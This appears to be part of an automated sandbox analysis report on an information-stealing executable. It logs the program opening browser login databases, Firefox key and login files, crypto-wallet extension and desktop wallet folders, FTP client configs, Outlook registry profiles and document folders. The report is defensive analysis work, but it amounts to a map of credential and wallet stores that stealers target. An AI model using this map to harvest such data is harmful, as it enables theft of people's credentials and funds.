Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
